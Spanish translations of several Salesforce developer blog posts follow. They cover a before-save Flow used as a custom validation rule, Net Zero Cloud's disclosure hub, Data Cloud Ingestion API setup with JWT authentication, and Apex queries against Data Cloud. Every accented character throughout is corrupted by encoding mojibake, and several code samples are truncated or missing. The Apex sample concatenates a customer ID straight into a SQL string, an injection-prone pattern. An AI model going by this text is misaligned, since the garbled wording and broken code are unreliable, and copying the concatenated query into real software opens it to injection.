El flujo antes de guardar es un disparador que se realiza antes de una operaci贸n , como una inserci贸n, actualizaci贸n, eliminaci贸n, etc. Puede usar dicho flujo para verificar o cambiar valores antes de que los datos se actualicen o inserten en la base de datos. Guardar antes es mucho m谩s r谩pido porque cada registro no se guarda en la base de datos nuevamente. Evitar ese procedimiento de guardado adicional significa omitir otra ronda de reglas de asignaci贸n, reglas de respuesta autom谩tica, reglas de flujo de trabajo y otras personalizaciones que tardan en ejecutarse. Use un flujo antes de guardar en los siguientes casos de uso:

  1. Actualizar campos en registros nuevos o modificados: significa que desea actualizar los campos en el registro que inici贸 el Flujo
  2. Activar una regla de validaci贸n (no necesaria despu茅s del lanzamiento de winter'24)

Lea este art铆culo para obtener m谩s informaci贸n sobre cu谩ndo usar el flujo anterior frente al flujo posterior al guardado.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Paso 2: uso del elemento de decisi贸n para verificar si la oportunidad se cre贸 o actualiz贸

Ahora usaremos el elemento Decisi贸n para verificar si el registro de oportunidad fue creado o actualizado.

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Decisi贸n .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completar谩 autom谩ticamente.
  3. En Detalles del resultado , ingrese la etiqueta que el nombre de la API se completar谩 autom谩ticamente.
  4. Requisitos de condici贸n para ejecutar el resultado : se cumplen todas las condiciones (Y)
    1. Fila 1:
      1. Recurso : {!$Record.Id}
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Verdadero}
  5. Cu谩ndo ejecutar el resultado : si se cumplen los requisitos de la condici贸n
  6. Haz clic en la X en la parte superior para guardar tus cambios.

Paso 3: agregar un elemento Obtener registro para encontrar oportunidades abiertas relacionadas

El siguiente paso es usar el elemento Obtener registros para encontrar oportunidades abiertas relacionadas en la cuenta.

  1. En Flow Designer, debajo del nodo Creado , haga clic en el icono + y seleccione el elemento Obtener registros .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completar谩 autom谩ticamente.
  3. Seleccione el objeto Oportunidad de la lista desplegable.
  4. Seleccione Se cumplen todas las condiciones (Y) .
  5. Establecer condiciones de filtro
    1. Fila 1:
      1. Campo : ID de cuenta
      2. Operador : Igual
      3. Valor : {!$Record.AccountId}
    2. Haga clic en Agregar condici贸n
      1. Fila 1:
        1. Campo : Est谩Cerrado
        2. Operador : Igual
        3. Valor : {!$ConstanteGlobal.Falso}
  6. Cu谩ntos registros almacenar:
    1. seleccione Todos los registros
  7. C贸mo almacenar datos de registro:
    1. Elija la opci贸n para Almacenar autom谩ticamente todos los campos .
  8. Haz clic en la X en la parte superior para guardar tus cambios.

Paso 4: uso del elemento de decisi贸n para verificar si se encontr贸 o no una oportunidad abierta  

Ahora, usaremos el elemento Decisi贸n para comprobar si el elemento Obtener registros anterior devuelve un registro de oportunidades abiertas.

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Decisi贸n .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completar谩 autom谩ticamente.
  3. En Detalles del resultado , ingrese la etiqueta que el nombre de la API se completar谩 autom谩ticamente.
  4. Requisitos de condici贸n para ejecutar el resultado : se cumplen todas las condiciones (Y)
    1. Fila 1:
      1. Recurso: {!Get_Related_Opportunity}
      2. Operador: es nulo
      3. Valor: {!$ConstanteGlobal.Falso}
  5. Cu谩ndo ejecutar Resultado : Si se cumplen los requisitos de la condici贸n .
  6. Haga clic en Listo .

Paso 5: agregar un elemento de error personalizado para mostrar mensajes de error

  1. En el nodo S铆 , seleccione el elemento Error personalizado .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completar谩 autom谩ticamente.
  3. Establecer detalles del mensaje de error 1
    1. D贸nde mostrar el mensaje de error : en una ventana en una p谩gina de registro
    2. Mensaje de error:
      1. Utilice la oportunidad abierta existente dentro de esta cuenta. Si necesita m谩s ayuda o tiene preguntas sobre la gesti贸n de oportunidades, p贸ngase en contacto con el soporte de TI.
  4. Haz clic en la X en la parte superior para guardar tus cambios.

Al final, Benjamin's Flow se ver谩 como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versi贸n de API para ejecutar el flujo : 59
  5. Etiqueta de entrevista : regla de validaci贸n personalizada mediante flujo {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

隆Casi llegamos! Una vez que todo se vea bien, haga clic en el bot贸n Activar .

馃憠 Mira el video para obtener instrucciones paso a paso.

[contenido incrustado]
Cosas para recordar
  1. El l铆mite para el campo del mensaje de error es de 255 caracteres.
  2. Solo puede agregar un mensaje de error para una p谩gina.
  3. Solo puede agregar un mensaje de error por campo.
  4. no es posible utilizar el enlace con su mensaje de error.
    1. par谩metro de escape Indica si cualquier marcado HTML en el mensaje de error personalizado se debe escapar ( verdadero ) o no ( falso ). Este par谩metro se ignora tanto en Lightning Experience como en la aplicaci贸n m贸vil Salesforce, y el HTML siempre se escapa. El par谩metro de escape solo se aplica en Salesforce Classic. Lea este art铆culo para obtener m谩s informaci贸n.

Prueba de concepto

A partir de ahora, si un usuario intenta crear una nueva oportunidad en una cuenta que ya tiene una oportunidad abierta, se activar谩 el flujo activado por registro antes de guardar que hemos creado y mostrar谩 un mensaje de error.

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Continue reading

Divulgaci贸n y cumplimiento en Net Zero Cloud

Divulgaci贸n y cumplimiento en Net Zero Cloud

Cubrimos brevemente Net Zero Cloud en el pasado, de hecho, no es una sola nube sino una gran cosa de m煤ltiples industrias si me preguntan.

Como parte de la explicaci贸n de esto: https://developer.salesforce.com/docs/atlas.en-us.netzero_cloud_dev_guide.meta/netzero_cloud_dev_guide/netzero_cloud_data_model.htm

:O

Lo que me gustar铆a cubrir hoy es Disclosure and Compliance Hub. Que es un m贸dulo dentro de Net Zero Cloud para que pueda hacer exactamente eso: esencialmente, esto le permite extraer datos, responder preguntas, colaborar con los usuarios y generar divulgaciones.

Esto es importante ya que cada vez m谩s claridad y transparencia sobre el impacto ambiental y social se est谩 volviendo esencial. Y bueno, la legislaci贸n est谩 sucediendo y, potencialmente, los impuestos y las sanciones pueden venir en el futuro (隆la l铆nea es corta por cierto!)

Entonces, lo que este m贸dulo le permite hacer es simplemente generar "divulgaciones formateadas" que luego puede informar y publicar.

Lo primero que debe hacer es habilitarlo en Net Zero > Disclosure and Compliance Hub Settings > Luego active Manage Disclosure and Compliance Hub. Para que pueda acceder a la aplicaci贸n, que es bastante sencilla:

Con NZC Disclosure and Compliance Hub, Salesforce tiene un paquete que incluye 3 informes iniciales:

CDP : en el a帽o 2000, el 'Carbon Disclosure Project' proporcion贸 una estructura clara para que las organizaciones informaran externamente sobre su huella. https://www.cdp.net/es/info/sobre-nosotros

GRI : otro marco de est谩ndares de informes sobre el cumplimiento ambiental, esto tambi茅n incluye una amplia gama de biodiversidad a impuestos, residuos a emisiones. https://www.globalreporting.org/

SASB 鈥 Sustainability Accounting Standards Board se enfoca en un subconjunto de temas de sustentabilidad m谩s relevantes para el desempe帽o financiero en cada una de las 77 industrias. https://sasb.org/

El proceso guiado y la variaci贸n de la estructura de est谩ndares en las opciones anteriores, creo que esta es la raz贸n por la que en la edici贸n Growth de Net Zero Cloud tiene licencias de OmniStudio. Con el paquete de estos 3 informes estructurados, omniscript y dataraptors ya est谩n agrupados y listos para usar.

Debajo de una muestra de pasos para crear una Divulgaci贸n en el tipo SASB:

Entonces, OmniStudio utiliza un proceso guiado para extraer datos de las respuestas cualitativas y cuantitativas a los cuestionarios.

Los cuestionarios est谩n ah铆 para recopilar informaci贸n espec铆fica, como el uso del presupuesto para una subvenci贸n, o informes de emisiones de carbono y energ铆a, o para informaci贸n gen茅rica, como informes ambientales, sociales y de gobernanza.

Tambi茅n puede colaborar en las respuestas con los usuarios y crear una colecci贸n de respuestas reutilizables aprobadas.

Puede utilizar las respuestas para producir documentos formateados. Dentro del registro de Divulgaci贸n tiene una acci贸n 'Generar documento':

隆Tada!

Eso es usar la plantilla est谩ndar que viene del paquete en la versi贸n SASB.

Tan simple como eso, lo que se vuelve m谩s complicado es si desea utilizar otro tipo de Divulgaci贸n, por lo que tendr铆a que crear los componentes relacionados de OmniStudio, etc. 隆Aunque sugerir铆a utilizar uno de estos 3 est谩ndares disponibles que son ampliamente adoptados!

驴C贸mo est谩 reportando su organizaci贸n hoy en Gobernanza Social Ambiental?

Continue reading

Cargue datos mediante programaci贸n con la API de ingesta 鈽侊笍

Cargue datos mediante programaci贸n con la API de ingesta 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Cargue datos mediante programaci贸n con la API de ingesta | Blog de desarrolladores de Salesforce

Salesforce Data Cloud ofrece varios conectores predefinidos para la importaci贸n de datos. Estos le permiten conectar otra organizaci贸n de Salesforce, una instancia de Marketing Cloud, almacenamientos de datos como Amazon S3 o cualquier otra fuente admitida por MuleSoft Salesforce Data Cloud Connector . Para conectarse a un sistema de terceros, puede utilizar la API de ingesta .

La API de ingesta es una interfaz RESTful que facilita la carga de datos mediante programaci贸n en Data Cloud. Admite patrones de interacci贸n masiva y de transmisi贸n. El patr贸n de transmisi贸n usa JSON como su formato, cargando datos en micro lotes a trav茅s de la API REST. El patr贸n masivo, por otro lado, emplea el formato CSV y carga datos usando trabajos.

En esta publicaci贸n de blog, analizaremos c贸mo configurar el conector de la API de ingesta y comenzar a cargar datos mediante programaci贸n utilizando los patrones Streaming y Bulk.

Cu谩ndo usar la ingesti贸n Streaming vs Bulk

Ingesti贸n de transmisi贸n Ingesti贸n a granel
Al actualizar peque帽os microlotes de registros casi en tiempo real Al mover grandes vol煤menes de datos en un programa diario, semanal o mensual
Cuando se utilizan sistemas de origen de datos que se basan en arquitecturas de transmisi贸n modernas Al usar sistemas heredados, donde solo puede exportar datos durante las horas de menor actividad
Al crear eventos de captura de datos modificados Al usar una nueva organizaci贸n de Data Cloud que desea rellenar con 30, 60 o m谩s de 90 d铆as de datos
Al consumir datos de webhooks

Para configurar la API de ingesta, deber谩 seguir cuatro pasos de requisitos previos:

  • Crear un conector de API de ingesta
  • Crear e implementar un flujo de datos
  • Crear una aplicaci贸n conectada
  • Solicitar un token de acceso a la nube de datos

Veamos el proceso de creaci贸n y configuraci贸n de un conector de ingesta para comenzar a cargar datos en Data Cloud.

Creaci贸n de un conector de API de ingesta

Supongamos que tiene acceso a Data Cloud. Para conectar una nueva fuente de API de ingesta mediante el conector de API de ingesta, vaya a Configuraci贸n de nube de datos y seleccione API de ingesta .

Aqu铆 encontrar谩 todos los conectores disponibles en su organizaci贸n. Para crear uno nuevo, haga clic en Conectar y proporcione un nombre. Para nuestra aplicaci贸n de muestra, trabajaremos con una empresa de energ铆a solar ficticia. Estamos interesados en recibir eventos de m茅tricas relacionadas con el rendimiento energ茅tico de sus paneles solares.

Una vez que se haya creado el conector, necesitaremos decirle a Data Cloud qu茅 tipo de datos estamos esperando. Para esto, necesitaremos cargar un archivo de esquema utilizando la especificaci贸n OpenAPI. Este archivo de esquema tiene requisitos espec铆ficos, as铆 que aseg煤rese de consultar la documentaci贸n para obtener m谩s informaci贸n.

A continuaci贸n se muestra un ejemplo del archivo de esquema que cargaremos, que representa un solar_panel_event . Los campos clave a tener en cuenta incluyen event_id , que ser谩 煤nico para cada evento y luego se asignar谩 en Data Cloud como clave principal. Otro es customer_id , que nos ser谩 煤til para mapear el evento con un cliente de nuestra organizaci贸n. Finalmente, date_time representa la hora del evento.

panel_solar_event.yaml

Una vez que carguemos el esquema, podremos obtener una vista previa de sus campos y tipos de datos, y luego guardarlo en nuestro conector.

Ahora que nuestro conector tiene un esquema, podemos decir que est谩 creado. Sin embargo, a煤n no est谩 listo para comenzar a recibir datos. Necesitamos crear un flujo de datos para este prop贸sito.

Nota: Dado que los esquemas pueden evolucionar con el tiempo, tambi茅n puede usar la interfaz del conector de la API de ingesta para actualizar el esquema y agregar nuevos campos a su objeto de datos seg煤n sea necesario.

Creaci贸n e implementaci贸n de un flujo de datos

Ya tenemos listo nuestro conector API de ingesta. Ahora es el momento de establecer una conexi贸n para comenzar a importar datos. Para eso, necesitamos crear un flujo de datos . Una vez que el flujo de datos est谩 activo, podemos comenzar a ingerir datos en Data Cloud y almacenarlos como un objeto de Data Lake.

Para crear un nuevo flujo de datos, vaya a su pesta帽a en la aplicaci贸n Data Cloud, haga clic en Nuevo , seleccione Ingestion API y luego haga clic en Siguiente .

Nota: La opci贸n API de ingesta est谩 deshabilitada si no tiene ninguna fuente de ingesta conectada.

A continuaci贸n, ver谩 los diferentes objetos que est谩n asociados con su esquema. En nuestro caso, seleccione el objeto solar_panel_event y haga clic en Siguiente .

Al crear un flujo de datos, deber谩 seleccionar una categor铆a o tipo de datos en ese flujo de datos. Hay tres categor铆as: Compromiso , Perfil y Otro .

Compromiso Un conjunto de datos que representa un compromiso basado en series de tiempo, como un evento, interacci贸n con el cliente, interacci贸n web, etc.

Cuando se selecciona, el men煤 desplegable Campo de hora del evento aparece en la interfaz de usuario.

Perfil Un conjunto de datos que representa:

鈥 Una lista de consumidores con identificadores, como identificaciones de consumidores, direcciones de correo electr贸nico o n煤meros de tel茅fono

鈥 Una lista de empresas o cuentas con ID de cuenta

鈥 Una lista de empleados o cualquier otra poblaci贸n por la que desee segmentar o utilizar como poblaci贸n inicial del segmento

Otro Un conjunto de datos que no es un compromiso o un perfil, como informaci贸n de productos o tiendas.

Para nuestro ejemplo, dado que estamos planeando recibir eventos, seleccionaremos Compromiso . Mapearemos el event_id como la clave principal y la date_time como el campo de hora del evento.

Ahora que nuestros datos est谩n configurados, es hora de implementarlos. Despu茅s de revisar los flujos de datos que se van a crear, hagamos clic en Implementar para activarlos.

Ahora, echemos un vistazo a la p谩gina de detalles del flujo de datos. Aqu铆 podemos ver el objeto Data Lake que se ha creado en Data Cloud. Puede identificar un objeto de Data Lake por su sufijo __dll . Desde esta misma interfaz, puede comenzar a asignar sus datos a los objetos de su organizaci贸n para crear objetos de modelo de datos (parte del proceso de armonizaci贸n de Data Cloud). Sin embargo, no cubriremos ese tema en esta publicaci贸n de blog, pero tenemos un excelente video con Danielle Larregui que le muestra c贸mo hacerlo.

Nuestro conector API de ingesta est谩 listo para comenzar a recibir datos de sistemas de terceros. Para confirmar, regresemos a la interfaz de configuraci贸n de la API de ingesta, donde puede ver que el estado del conector es En uso .

Creaci贸n de una aplicaci贸n conectada

La API de ingesta admite todos los flujos de OAuth 2.0 admitidos por otras API REST de Salesforce. Para cargar datos mediante la API de ingesta, su aplicaci贸n conectada requiere los siguientes 谩mbitos:

脕mbitos de OAuth requeridos

cdp_ingest_api Acceda y administre sus datos de API de ingesta de nube de datos
API Accede y administra tus datos
refresco_token, acceso_sin conexi贸n Realizar solicitudes en su nombre en cualquier momento

Adem谩s, nuestra aplicaci贸n conectada requerir谩 un certificado digital. Para crear uno, puede ejecutar el siguiente comando usando el comando openssl :

Este comando crear谩 dos archivos, salesforce.key , que es la clave privada, y salesforce.crt , que es la clave p煤blica.

Nota : si no tiene instalado el comando openssl , puede instalarlo desde el sitio web de OpenSSL .

Para saber c贸mo crear una aplicaci贸n conectada, consulte la documentaci贸n oficial.

Solicitud de un token de acceso a la nube de datos

Para este ejemplo, usaremos el flujo de soporte JWT de OAuth 2.0 . Primero, necesitaremos crear un JWT (JSON Web Token) para solicitar un token de acceso.

Para crear un JWT, configurar谩 el encabezado para usar el algoritmo RSA256 .

Encabezado JWT

Luego, configure las siguientes notificaciones, teniendo en cuenta algunas notificaciones importantes:

  • iss: la clave de consumidor de OAuth/ID de cliente de su aplicaci贸n conectada
  • sub: el nombre de usuario de su organizaci贸n de Data Cloud
  • exp: el tiempo de vencimiento del token, expresado como una marca de tiempo de 茅poca

reclamos JWT

Nota : La 茅poca de Unix (o la hora de Unix o la hora POSIX o la marca de tiempo de Unix) es la cantidad de segundos que han transcurrido desde el 1 de enero de 1970 (medianoche UTC/GMT).

A continuaci贸n, deber谩 utilizar el algoritmo JWT para obtener el token completo y verificado.

Pero seamos honestos, no queremos crear un JWT manualmente. Para esto, utilizaremos el sitio web JWT.io para simplificar el proceso. Aseg煤rese de que el mensaje Firma verificada aparezca a continuaci贸n, lo que indica que nuestro JWT es v谩lido.

O puede crearlo program谩ticamente usando el lenguaje de programaci贸n de su elecci贸n. M谩s adelante en este art铆culo, compartir茅 un pr谩ctico script de Node.js para generar el token de acceso a la nube de datos.

Antes de que podamos autenticarnos usando el JWT que generamos, debemos aprobar este consumidor. Puede hacerlo abriendo la siguiente URL en su navegador.

<dx-code-block title language code-block="https://login.salesforce.com/services/oauth2/authorize?response_type=token&client_id=&redirect_uri=”>

Y luego, inicie sesi贸n y permita el acceso:

Ahora que hemos aprobado nuestro JWT, necesitamos autenticarnos. Este es un proceso de dos pasos. Primero, necesitamos obtener un token de acceso usando el JWT. Para hacer esto, realicemos una solicitud POST HTTP con la siguiente informaci贸n.

<dx-code-block title language code-block="POST https://login.salesforce.com/services/oauth2/token
Content-Type : x-www-form-urlencoded
grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer
&assertion=”>

Nota: aseg煤rese de reemplazar <JWT> con el token que creamos anteriormente.

Esta solicitud nos dar谩 un token de acceso central y la URL de la instancia de Data Cloud, utilizando nuestra aplicaci贸n conectada. Como se muestra en el alcance , se nos otorgan los alcances cdp_ingest_api y api .

A continuaci贸n, debemos cambiar el token de acceso principal por un token de nube de datos. Para hacer eso, realicemos la siguiente solicitud POST.

<dx-code-block title language code-block="POST /services/a360/token Content-Type : x-www-form-urlencoded grant_type=urn:salesforce:grant-type:external:cdp &subject_token= &subject_token_type=urn:ietf:params:oauth:token-type:access_token”>

Ahora, estamos autenticados. El token de acceso a la nube de datos resultante es lo que usaremos para realizar solicitudes a la API de ingesta.

Para simplificar el proceso, he creado un script Node.js. Crea el JWT y realiza la autenticaci贸n en dos pasos. Para usarlo, necesitar谩 la clave privada que cre贸 anteriormente, as铆 como un archivo de configuraci贸n similar al siguiente.

config.js

Adem谩s, instale la dependencia jsonwebtoken desde npm ejecutando:

credenciales.js

console.log(auth)) .catch((err) => console.error(err)); “>

El m茅todo generateAccessToken devolver谩 el objeto de autenticaci贸n de Data Cloud, incluido el access_token y la instance_url necesarios para comenzar a ingerir datos en Data Cloud.

Ingesta de datos

Tenemos toda la informaci贸n necesaria para comenzar a ingerir datos en la nube de datos. Esto se puede lograr utilizando los patrones Streaming o Bulk.

Transmisi贸n

Para comenzar a transmitir datos en el conector de Ingesti贸n de nube de datos, primero obtenga el nombre del conector y el nombre del objeto de la configuraci贸n del conector de la API de Ingesti贸n. Para hacer esto, puede realizar una solicitud POST como la siguiente.

<dx-code-block title language code-block="POST https:///api/v1/ingest/sources/Solar_Panel_Events/solar_panel_event
Authorization: Bearer
Content-Type: application/json
{ "data": [ {"event_id": "f47ac10b-58cc-4372-a567-0e02b2c3d479","customer_id": "003R00000123456789","battery": 75.2,"dc_current": 9.8,"dc_voltage": 35.6,"mpp_energy": 120.5,"ac_voltage": 220.1,"ac_current": 5.3,"date_time": "2023-07-07T10:15:30.05Z"} ] }”>

Nota : aseg煤rese de reemplazar <token de acceso a la nube de datos> y <url de instancia> con los valores respectivos que obtuvo del proceso de autenticaci贸n.

Si todo va bien, recibir谩s la siguiente respuesta:

Esto indica que nuestros datos han sido aceptados con 茅xito.

Nota : tambi茅n puede validar los datos con el esquema antes de enviarlos agregando /actions/test al punto final de la API.

A granel

La ingesti贸n masiva implica varios pasos, lo que agrega un nivel de complejidad al proceso:

  • Crear un trabajo: este paso implica crear un trabajo para especificar el tipo de objeto de los datos que se procesan y la operaci贸n que se realizar谩, que puede ser upsert o delete.
  • Cargar los datos en CSV: Despu茅s de crear el trabajo, el siguiente paso es cargar los datos en formato CSV. El archivo CSV debe contener los datos que se procesar谩n, con cada fila representando un registro y las columnas que contienen los valores de campo.
  • Indicar la preparaci贸n de los datos: una vez que se cargan los datos, deber谩 indicar que los datos est谩n listos para ser procesados.
  • Cerrar o cancelar el trabajo: despu茅s de procesar los datos, puede cerrar el trabajo para marcarlo como completado o cancelar el trabajo si es necesario.

Para obtener m谩s informaci贸n sobre c贸mo usar los puntos de conexi贸n masivos, puede consultar la documentaci贸n oficial .

Puede consultar los datos entrantes utilizando el Explorador de datos en Data Cloud. All铆, seleccionar谩 el objeto Data Lake correspondiente al conector de ingesta que cre贸 anteriormente.

Si desea probarlo usted mismo, siempre puede utilizar nuestra colecci贸n Postman de desarrolladores de Salesforce, que incluye las API de Salesforce Data Cloud .

Conclusi贸n

Ahora, est谩 listo para comenzar a cargar datos mediante programaci贸n en Data Cloud mediante la API de ingesta. Siguiendo los pasos anteriores, puede conectarse sin problemas a varias fuentes de datos e importar datos en tiempo real o en masa, y comenzar a aprovechar el poder y la magia de Salesforce Data Cloud.

Adem谩s, si prefiere aprender de un video, mi colega Aditya ha creado un video 煤til que explica lo que hemos cubierto en esta publicaci贸n de blog . Aseg煤rese de ver tambi茅n los otros excelentes videos de la serie Data Cloud Decoded .

Recursos

Sobre los autores

Juli谩n Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educaci贸n y el intercambio de conocimientos y ha estado involucrado en la organizaci贸n de comunidades tecnol贸gicas y de desarrolladores desde 2001.

S铆galo @julianduque en Threads, @julian_duque en Twitter, @julianduque.co en Bluesky social o LinkedIn .

Aditya Naag Topalli es una defensora de desarrolladores l铆der certificada 14 veces en Salesforce. Capacita e inspira a los desarrolladores dentro y fuera del ecosistema de Salesforce a trav茅s de sus videos, seminarios web, publicaciones de blog y contribuciones de c贸digo abierto, y tambi茅n habla con frecuencia en conferencias y eventos en todo el mundo. S铆galo en Twitter o LinkedIn y vea sus contribuciones en GitHub .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Liberando el poder de Apex en Salesforce Data Cloud 鈥 Parte 1 鈽侊笍

Liberando el poder de Apex en Salesforce Data Cloud 鈥 Parte 1 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Libere el poder de Apex en Salesforce Data Cloud 鈥 Parte 1 | Blog de desarrolladores de Salesforce

Trailblazer.me estar谩 fuera de l铆nea por mantenimiento programado a partir del 21 de julio de 2023 a las 6 p. m. (hora del Pac铆fico) hasta el 22 de julio de 2023 mientras transformamos Trailblazer.me en la nueva cuenta de Trailblazer. Durante este tiempo de inactividad, no podr谩 iniciar sesi贸n en ninguna aplicaci贸n relacionada, incluidas Ayuda y capacitaci贸n, AppExchange, Trailhead y Trailblazer Community, y m谩s.

Salesforce Data Cloud permite a los desarrolladores aprovechar el poder de los grandes datos para las empresas. Al utilizar Data Cloud, los clientes pueden consolidar los datos de clientes de m煤ltiples sistemas en una 煤nica instancia de Salesforce, creando una vista unificada de los datos en toda la empresa. Estos datos se pueden utilizar para an谩lisis, aprendizaje autom谩tico y acciones automatizadas. En este primer blog de nuestra serie de dos partes, exploraremos diferentes utilidades de Apex para consultar datos en Data Cloud y brindaremos orientaci贸n sobre c贸mo utilizarlas de manera efectiva.

Apex ofrece una variedad de utilidades para Data Cloud. Por ejemplo, permite que los desarrolladores construyan con Lightning Web Components para personalizar las experiencias de usuario est谩ndar de Data Cloud, o que los ISV construyan su propio c贸digo para automatizar operaciones espec铆ficas de Data Cloud, como la resoluci贸n de identidades, la creaci贸n y ejecuci贸n de conocimientos calculados de Data Cloud o la segmentaci贸n.

Objetos de Salesforce Data Cloud frente a objetos est谩ndar/personalizados

Antes de analizar c贸mo consultar datos de Data Cloud, comprendamos un poco acerca de los objetos de Salesforce Data Cloud y c贸mo difieren con respecto a los objetos est谩ndar/personalizados de Salesforce Platform.

Salesforce Data Cloud tiene un modelo de datos can贸nico que incluye objetos de lago de datos (DLO) y objetos de modelo de datos (DMO). Puede leer acerca de c贸mo estos objetos se asignan entre s铆 y sus prop贸sitos en la documentaci贸n de ayuda.

Los objetos de Data Cloud pueden ingerir y almacenar vol煤menes de datos mucho m谩s grandes (en la magnitud de miles de millones de registros) en comparaci贸n con los objetos est谩ndar y personalizados regulares en la Plataforma de Salesforce. Los objetos est谩ndar/personalizados est谩n dise帽ados para casos de uso transaccional y no son adecuados para almacenar y procesar big data. Por otro lado, los objetos de Data Cloud agregan capacidades similares a las de un lago de datos .

Otra distinci贸n clave es que los objetos de Data Cloud no admiten disparadores Synchronous Apex. Sin embargo, a煤n puede lograr la automatizaci贸n de procesos suscribi茅ndose a Change Data Capture (CDC) y utilizando Flows o Apex. Lo que es com煤n entre los objetos de la nube de datos y los objetos de la plataforma es que est谩n construidos sobre la misma base impulsada por metadatos, lo que hace posible el uso de caracter铆sticas de la plataforma, como Salesforce Flow, Apex y Platform Events.

C贸mo consultar datos de Data Cloud en Apex

Antes de profundizar en alg煤n c贸digo, exploremos un ejemplo de caso de uso de una aplicaci贸n de nube de datos.

Ejemplo de caso de uso y supuestos

Para nuestros ejemplos de c贸digo en esta publicaci贸n de blog, supongamos que estamos trabajando para una empresa ficticia llamada Solar Circles que captura datos de todos sus paneles solares instalados en Data Cloud. Cada mes, se generan decenas de millones de puntos de datos a partir de estos paneles. Al tener estos datos en Data Cloud, Solar Circles obtiene la capacidad de realizar an谩lisis, utilizar t茅cnicas de aprendizaje autom谩tico y obtener informaci贸n procesable de los datos.

El c贸digo de Apex en esta publicaci贸n asume una condici贸n importante: la nube de datos est谩 habilitada y el c贸digo de Apex se ejecuta en la organizaci贸n de la nube de datos y no en las organizaciones de Salesforce que est谩n conectadas a la organizaci贸n de la nube de datos.

Consultar datos de Data Cloud usando SQL

Para acceder a datos de objetos de Data Cloud (DLO o DMO), utilice la clase CdpQuery (ver documentos ) en Apex. Esta clase est谩 disponible en el espacio de nombres ConnectApi (ver documentos ).

A continuaci贸n se muestra un fragmento de c贸digo de ejemplo que muestra c贸mo acceder a los datos de un objeto de nube de datos mediante una instrucci贸n SQL.

<dx-code-block title language="apex" code-block="@AuraEnabled(cacheable=true)
public static void getSolarPanelData(String customerId) { List<Map> returnData = new List<Map>(); // Create input for query operation ConnectApi.CdpQueryInput queryInput = new ConnectApi.CdpQueryInput(); queryInput.sql = ‘SELECT * ‘ + ‘FROM Solar_Panel_Events_solar_panel_F4C03__dlm ‘ + ‘WHERE CustomerId__c = ” + customerId + ” ‘ + ‘ORDER BY date_time__c DESC LIMIT 50’; // Execute SQL ConnectApi.CdpQueryOutputV2 response = ConnectApi.CdpQuery.queryAnsiSqlV2( queryInput ); Map responseMetadata = new Map(); responseMetadata = response.metadata; // Parse response System.debug( ‘Number of rows in the result data set ‘ + response.rowCount ); System.debug(‘Next batch ID ‘ + response.nextBatchId); System.debug(‘Query Metadata’ + responseMetadata); for (ConnectApi.CdpQueryV2Row resultRow : response.data) { for (Object result : resultRow.rowData) { system.debug(result); } } “>

En el ejemplo anterior, estamos recuperando datos para un componente LWC personalizado en una p谩gina Lightning de caso de objeto est谩ndar para un agente de servicio. El componente muestra datos de dispositivos recientes provenientes de los paneles instalados en el sitio del cliente.

Aspectos destacados del c贸digo

  • El m茅todo toma un par谩metro customerId , lo que indica que recupera los datos del panel solar para un cliente espec铆fico
  • Se crea una instancia de ConnectApi.CdpQueryInput llamada queryInput para definir la operaci贸n de consulta.
  • La propiedad queryInput.sql se establece con una consulta SQL que selecciona todos los campos del objeto de datos Solar_Panel_Events_solar_panel_F4C03__dlm , filtrado por CustomerId__c
  • La consulta se ejecuta mediante ConnectApi.CdpQuery.queryAnsiSqlV2(queryInput) , que devuelve un objeto ConnectApi.CdpQueryOutputV2 denominado response
  • El response.metadata se asigna a responseMetadata , que almacena los metadatos de la respuesta de la consulta.

Consideraciones importantes

  • Apex tiene un l铆mite de CPU de 10 segundos para transacciones sincr贸nicas. Data Cloud puede contener miles de millones de filas de datos. Al recuperar datos en Apex desde Data Cloud, aseg煤rese de agregar suficientes filtros y proporcionar contexto (como el recordId con el que est谩 trabajando) para limitar la cantidad de filas y evitar alcanzar el l铆mite de CPU de 10 segundos.
  • Si est谩 recuperando una gran cantidad de datos, use Queueable Apex para ejecutar el proceso de forma asincr贸nica y aproveche el l铆mite de CPU de 60 segundos.
  • Recomendamos usar queryAnsiSqlV2 (consulte los documentos ) en lugar de queryAnsiSql para aprovechar las solicitudes posteriores y los tama帽os de respuesta m谩s grandes para casos de uso en los que necesita extraer grandes vol煤menes de datos.
  • Use nextBatchAnsiSqlV2(nextBatchId) (ver documentos ) para proporcionar batchId de la respuesta anterior para recuperar el siguiente conjunto de resultados.
  • Tambi茅n puede usar SOQL en lugar de SQL, pero aseg煤rese de obtener su SOQL usando el Explorador de datos , ya que hay funciones de SOQL que pueden no ser aplicables a los objetos de Data Cloud.

C贸mo buscar informaci贸n de perfil

Antes de analizar c贸mo buscar informaci贸n de perfil de Data Cloud en Apex, debemos comprender qu茅 es un perfil unificado.

Perfil unificado y resoluci贸n de identidad

